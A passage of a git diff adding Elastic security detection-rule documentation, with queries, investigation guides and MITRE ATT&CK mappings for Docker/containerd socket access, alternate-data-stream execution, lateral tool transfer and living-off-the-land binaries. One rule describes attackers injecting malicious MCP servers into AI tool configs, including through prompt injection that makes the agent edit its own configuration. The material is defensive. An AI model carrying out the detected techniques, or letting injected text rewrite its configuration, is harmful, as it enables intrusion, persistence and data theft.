Files (x86)\\Acro Software\\CutePDF Writer\\CPWSave.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWriter2.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\CutePDF Writer\\CPWSave.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\TSplus\\UniversalPrinter\\CPWriter2.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Seagull\\Printer Drivers\\Packages\\*\\DriverEnvironmentSetup.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\CNAB4RPD.EXE" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-connection-to-docker-or-containerd-socket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-connection-to-docker-or-containerd-socket.asciidoc new file mode 100644 index 0000000000..283f01868b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-connection-to-docker-or-containerd-socket.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-unusual-process-connection-to-docker-or-containerd-socket]] +=== Unusual Process Connection to Docker or Containerd Socket + +Detects a process connecting to a container runtime Unix socket (containerd or Docker) that is not a known legitimate runtime component. Direct access to the container runtime socket allows an attacker to create, exec into, or manipulate containers without going through the Kubernetes API server, bypassing RBAC, admission webhooks, pod security standards, and Kubernetes audit logging entirely. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1611/ +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process Connection to Docker or Containerd Socket* + + +Review the initiating process executable, user, and parent chain. Confirm whether the socket path is the host default +or a bind-mounted path inside a container. Pivot on the same host for subsequent container creation, image pulls, or +credential access. + + +*Possible investigation steps* + + +- Map `process.executable`, `process.args`, `process.title` and `user.id` to an identity and session (SSH, cron, web shell). +- Check file permissions on the socket path and whether the workload should have access at all. +- Correlate with process and authentication telemetry before and after the connection. + + +*False positive analysis* + + +- Vendor agents that wrap docker or containerd CLIs from non-standard install locations may match; add explicit + exclusions for known binaries. + + +*Response and remediation* + + +- If malicious, isolate the host, revoke credentials, inspect for rogue containers and persistence, and restrict socket + permissions to trusted groups only. + + +==== Setup + + + +*Setup* + + +This rule requires **Auditd Manager** (or Auditbeat) process and **network** events where Unix socket paths populate +`destination.address` (or equivalent ECS mapping from your pipeline). + + +*Auditd Manager: network and socket visibility* + + +Enable auditing of socket-related activity so `event.category:network` and `event.action:connected-to` (or your +pipeline’s equivalent) are emitted for `connect` to Unix sockets. Example audit rules to extend as needed: + +``` + +*64-bit connect (required for socket connection telemetry)* + +-a always,exit -F arch=b64 -S connect -k netconn + + +*32-bit (if applicable)* + +-a always,exit -F arch=b32 -S connect -k netconn +``` + +After deployment, confirm in Discover that events for connections to +`/var/run/docker.sock`, `/run/docker.sock`, or containerd socket paths include `process.executable` and +`destination.address` fields used by this rule. + +For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[Auditd Manager documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and +event.category:"network" and +event.action:"connected-to" and network.direction:"egress" and +destination.address:("/run/containerd/containerd.sock" or "/var/run/containerd/containerd.sock" or "/var/run/docker.sock" or "/run/docker.sock") and +process.executable:(* and not + ("/usr/bin/kubelet" or + "/usr/local/bin/kubelet" or + "/usr/bin/containerd" or + "/usr/sbin/containerd" or + "/usr/bin/containerd-shim" or + "/usr/bin/containerd-shim-runc-v2" or + "/usr/local/bin/containerd-shim-runc-v2" or + "/usr/bin/dockerd" or + "/usr/sbin/dockerd" or + /var/lib/*/usr/bin/dockerd or + "/usr/bin/docker-proxy") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-execution-path-alternate-data-stream.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-execution-path-alternate-data-stream.asciidoc new file mode 100644 index 0000000000..40abd2ba31 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-execution-path-alternate-data-stream.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-unusual-process-execution-path-alternate-data-stream]] +=== Unusual Process Execution Path - Alternate Data Stream + +Identifies processes running from an Alternate Data Stream. This is uncommon for legitimate processes and sometimes done by adversaries to hide malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Process Execution Path - Alternate Data Stream* + + +Alternate Data Streams (ADS) in Windows allow files to contain multiple data streams, which can be exploited by adversaries to conceal malicious code. This technique is often used for defense evasion, as it hides malware within legitimate files. The detection rule identifies processes initiated from ADS by monitoring specific execution patterns, such as unique argument structures, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details, including the process name and path, to determine if it is a known legitimate application or potentially malicious. +- Examine the process arguments, specifically looking for the pattern "?:\\*:*", to understand the context of the execution and identify any suspicious or unusual characteristics. +- Check the parent process of the flagged process to assess if it was initiated by a legitimate or expected source. +- Investigate the user account associated with the process execution to determine if the activity aligns with the user's typical behavior or if it appears anomalous. +- Correlate the event with other security logs or alerts from data sources like Sysmon, Microsoft Defender XDR, or Crowdstrike to gather additional context and identify any related suspicious activities. +- Search for any known indicators of compromise (IOCs) related to the process or file path in threat intelligence databases to assess if the activity is associated with known threats. + + +*False positive analysis* + + +- Legitimate software installations or updates may use alternate data streams to execute processes. Users can create exceptions for known software update paths to prevent unnecessary alerts. +- Some backup or file synchronization tools might utilize alternate data streams for metadata storage. Identify these tools and exclude their execution paths from the detection rule. +- Certain system administration scripts or tools may leverage alternate data streams for legitimate purposes. Review and whitelist these scripts if they are verified as non-threatening. +- Developers might use alternate data streams during software development for testing purposes. Ensure development environments are accounted for in the exception list to avoid false positives. +- Security tools themselves may use alternate data streams for scanning or monitoring activities. Verify and exclude these tools from the detection rule to reduce noise. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malware. +- Terminate any suspicious processes identified as running from an Alternate Data Stream to halt malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any hidden malware. +- Examine the file system for any additional Alternate Data Streams and remove or quarantine any suspicious files. +- Restore any affected files or systems from known good backups to ensure system integrity. +- Monitor the network for any unusual outbound traffic from the affected system that may indicate data exfiltration attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : "?:\\*:*" and + ( + process.args_count == 1 and + + /* Excludes bug where a missing closing quote sets args_count to 1 despite extra args */ + not process.command_line regex~ """\".*\.exe[^\"].*""" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: NTFS File Attributes +** ID: T1564.004 +** Reference URL: https://attack.mitre.org/techniques/T1564/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-modifying-genai-configuration-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-modifying-genai-configuration-file.asciidoc new file mode 100644 index 0000000000..49f4888e4f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-modifying-genai-configuration-file.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-unusual-process-modifying-genai-configuration-file]] +=== Unusual Process Modifying GenAI Configuration File + +Detects unusual modification of GenAI tool configuration files. Adversaries may inject malicious MCP server configurations to hijack AI agents for persistence, C2, or data exfiltration. Attack vectors include malware or scripts directly poisoning config files, supply chain attacks via compromised dependencies, and prompt injection attacks that abuse the GenAI tool itself to modify its own configuration. Unauthorized MCP servers added to these configs execute arbitrary commands when the AI tool is next invoked. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://modelcontextprotocol.io/ +* https://www.cybereason.com/blog/security-research/weaponized-ai-how-cybercriminals-exploit-mcp-for-account-takeover +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: Windows +* Platform: macOS +* Domain: GenAI + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process Modifying GenAI Configuration File* + + +Configuration files for GenAI tools like Cursor, Claude, Copilot, and Ollama control which MCP servers, plugins, and extensions are loaded. Attackers target these files to inject malicious MCP servers that execute arbitrary commands, exfiltrate data, or establish persistence. Threats include external processes (malware, compromised scripts, supply chain attacks) directly modifying configs, as well as prompt injection attacks that abuse the AI tool's own file access capabilities. + + +*Possible investigation steps* + + +- Identify the process that modified the configuration file and determine if it's expected (GenAI tool, installer, user action) or suspicious (unknown script, malware). +- If the modifying process is NOT a GenAI tool, investigate its origin, parent process tree, and whether it was downloaded or executed from a suspicious location. +- If a GenAI tool made the modification, check recent user prompts or agent activity that may have triggered the config change via prompt injection. +- Review the contents of the modified configuration file for suspicious MCP server URLs, unauthorized plugins, or unusual agent permissions. +- Examine the process command line and parent process tree to identify how the modifying process was invoked. +- Check for other file modifications by the same process around the same time, particularly to other GenAI configs or startup scripts. +- Investigate whether the GenAI tool subsequently connected to unknown domains or spawned unusual child processes after the config change. + + +*False positive analysis* + + +- Novel but legitimate configuration changes will trigger this rule when the process hasn't been seen modifying these files within the configured history window. Review the modified file content to determine legitimacy. +- GenAI tool updates may modify config files in new ways; correlate with recent software updates. +- IDE extensions integrating with GenAI tools may modify configs as part of initial setup. +- Developer tools (git, go, npm) checking out or downloading projects containing `.gemini/` or `.claude/` directories may trigger alerts. These are project-level configs, not user configs - verify by checking if the path is within a project directory. + + +*Response and remediation* + + +- Review the modified configuration file and revert any unauthorized changes to MCP servers, plugins, or agent settings. +- If malicious MCP servers were added, block the associated domains at the network level. +- Review and rotate any API keys or credentials that may have been exposed through the compromised GenAI configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "file" and event.action : ("modification" or "overwrite") and +file.path : ( + */.cursor/mcp.json or */.cursor/settings.json or */AppData/Roaming/Cursor/*mcp* or + */.claude/* or */claude_desktop_config.json or */AppData/Roaming/Claude/* or + */.config/github-copilot/* or */AppData/Local/GitHub?Copilot/* or + */.ollama/config* or */AppData/Local/Ollama/* or + */.codex/* or */AppData/Roaming/Codex/* or + */.gemini/* or */AppData/Roaming/gemini-cli/* or + */.grok/* or */AppData/Roaming/Grok/* or + */.windsurf/* or */AppData/Roaming/Windsurf/* or + */.vscode/extensions/*mcp* or + */.openclaw/* or */AppData/Roaming/OpenClaw/* or + */.moltbot/* or */AppData/Roaming/Moltbot/* or + */.config/openclaw/* +) and not ( + file.extension : (lck or lock or log or png or marker or shm or wal or sqlite or sqlite-shm or sqlite-wal or jsonl or journal or xcuserstate) or + file.name : ( + .DS_Store or .last-cleanup or mcp-needs-auth-cache.json or policy-limits.json or + .claude.json.backup* or + *.tmp* + ) or + file.path : ( + */.claude/cache/* or + */.claude/statsig/* or + */.claude/sessions/* or + */.claude/shell-snapshots/* or + */.claude/plugins/* or + */.claude/worktrees/* or + */.gemini/antigravity-browser-profile/* or + */.gemini/tmp/* or + */.codex/.tmp/* or + */.codex/tmp/* or + */.codex/log/* or + */.codex/sessions/* or + */.cursor/extensions/* or + */.vscode/extensions/* or + */.vscode-oss/extensions/* or + */opt/homebrew/.claude/* or + */opt/homebrew/.cursor/* or + */opt/homebrew/.codex/* or + */node_modules/* or + */cargo/registry/* or + */go/pkg/mod/* + ) or + ( + file.path : (*/.codex/* or */.claude/* or */.gemini/*) and + file.extension : sqlite + ) or + ( + file.path : */.config/github-copilot/* and + file.name : (apps.json or versions.json or copilot*nitrite.db) + ) or + process.name : build-script-build or + ( + file.path : (*/.codex/.tmp/* or */.claude/plugins/* or */.claude/worktrees/* or */node_modules/* or */cargo/registry/* or */go/pkg/mod/*) and + file.extension : (h or out or part or rs or toml) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-network-connection.asciidoc new file mode 100644 index 0000000000..597cfe9e56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-process-network-connection.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-unusual-process-network-connection]] +=== Unusual Process Network Connection + +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these applications are often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Process Network Connection* + + +This rule identifies network activity from unexpected system utilities and applications. These applications are commonly abused by attackers to execute code, evade detections, and bypass security protections. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the target host that the process is communicating with. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and (process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "xwizard.exe") and + event.type == "start"] + [network where host.os.type == "windows" and (process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "xwizard.exe")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-remote-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-remote-file-creation.asciidoc new file mode 100644 index 0000000000..8c077ef34f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-remote-file-creation.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-unusual-remote-file-creation]] +=== Unusual Remote File Creation + +This rule leverages the new_terms rule type to detect file creation via a commonly used file transfer service while excluding typical remote file creation activity. This behavior is often linked to lateral movement, potentially indicating an attacker attempting to move within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* auditbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Remote File Creation* + + +Remote file creation tools like SCP, FTP, and SFTP are essential for transferring files across networks, often used in legitimate administrative tasks. However, adversaries can exploit these services to move laterally within a network, creating files in unauthorized locations. The detection rule identifies suspicious file creation activities by monitoring specific processes and excluding typical paths, thus highlighting potential lateral movement attempts by attackers. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (e.g., scp, ftp, sftp) involved in the file creation event. +- Examine the file path where the file was created to determine if it is an unusual or unauthorized location, considering the exclusion of typical paths like /dev/ptmx, /run/*, or /var/run/*. +- Check the user account associated with the process to verify if it is a legitimate user or if there are signs of compromised credentials. +- Investigate the source and destination IP addresses involved in the file transfer to identify any suspicious or unexpected network connections. +- Analyze recent activity on the host to identify any other unusual or unauthorized actions that may indicate lateral movement or further compromise. +- Correlate this event with other alerts or logs to determine if it is part of a broader attack pattern or campaign within the network. + + +*False positive analysis* + + +- Administrative file transfers: Legitimate administrative tasks often involve transferring files using SCP, FTP, or SFTP. To manage this, create exceptions for known administrative accounts or specific IP addresses that regularly perform these tasks. +- Automated backup processes: Scheduled backups may use tools like rsync or sftp-server to create files remotely. Identify and exclude these processes by specifying the paths or scripts involved in the backup operations. +- System updates and patches: Some system updates might involve remote file creation in non-standard directories. Monitor update schedules and exclude these activities by correlating them with known update events. +- Development and testing environments: Developers may use remote file transfer services to deploy or test applications. Establish a baseline of typical development activities and exclude these from alerts by defining specific user accounts or project directories. +- Third-party integrations: Some third-party applications might require remote file creation as part of their functionality. Document these integrations and exclude their associated processes or file paths from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement within the network. This can be done by removing the host from the network or applying network segmentation controls. +- Terminate any suspicious processes identified in the alert, such as scp, ftp, sftp, vsftpd, sftp-server, or sync, to stop unauthorized file transfers. +- Conduct a thorough review of the file paths and files created to determine if any sensitive data has been compromised or if any malicious files have been introduced. +- Restore any unauthorized or malicious file changes from known good backups to ensure system integrity. +- Update and patch the affected systems to close any vulnerabilities that may have been exploited by the attacker. +- Implement stricter access controls and authentication mechanisms for remote file transfer services to prevent unauthorized use. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:creation and +process.name:(scp or ftp or sftp or vsftpd or sftp-server or sync) and +not ( + file.path:( + /dev/ptmx or /run/* or /var/run/* or /home/*/.ansible/*AnsiballZ_*.py or /home/*/.ansible/tmp/ansible-tmp* or + /root/.ansible/*AnsiballZ_*.py or /tmp/ansible-chief/ansible-tmp*AnsiballZ_*.py or + /tmp/newroot/home/*/.ansible/tmp/ansible-tmp*AnsiballZ_*.py or /tmp/.ansible/tmp/ansible-tmp*AnsiballZ_*.py or + /tmp/ansible-tmp-*/AnsiballZ_*.py or /tmp/.ansible/ansible-tmp-*AnsiballZ_*.py or /var/tmp/ansible-tmp-* or + /tmp/.ansible/ansible-tmp-*/.source or /root/.ansible/tmp/ansible-tmp-*/.source + ) or + file.extension:(filepart or yaml or new or rpm or deb) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: 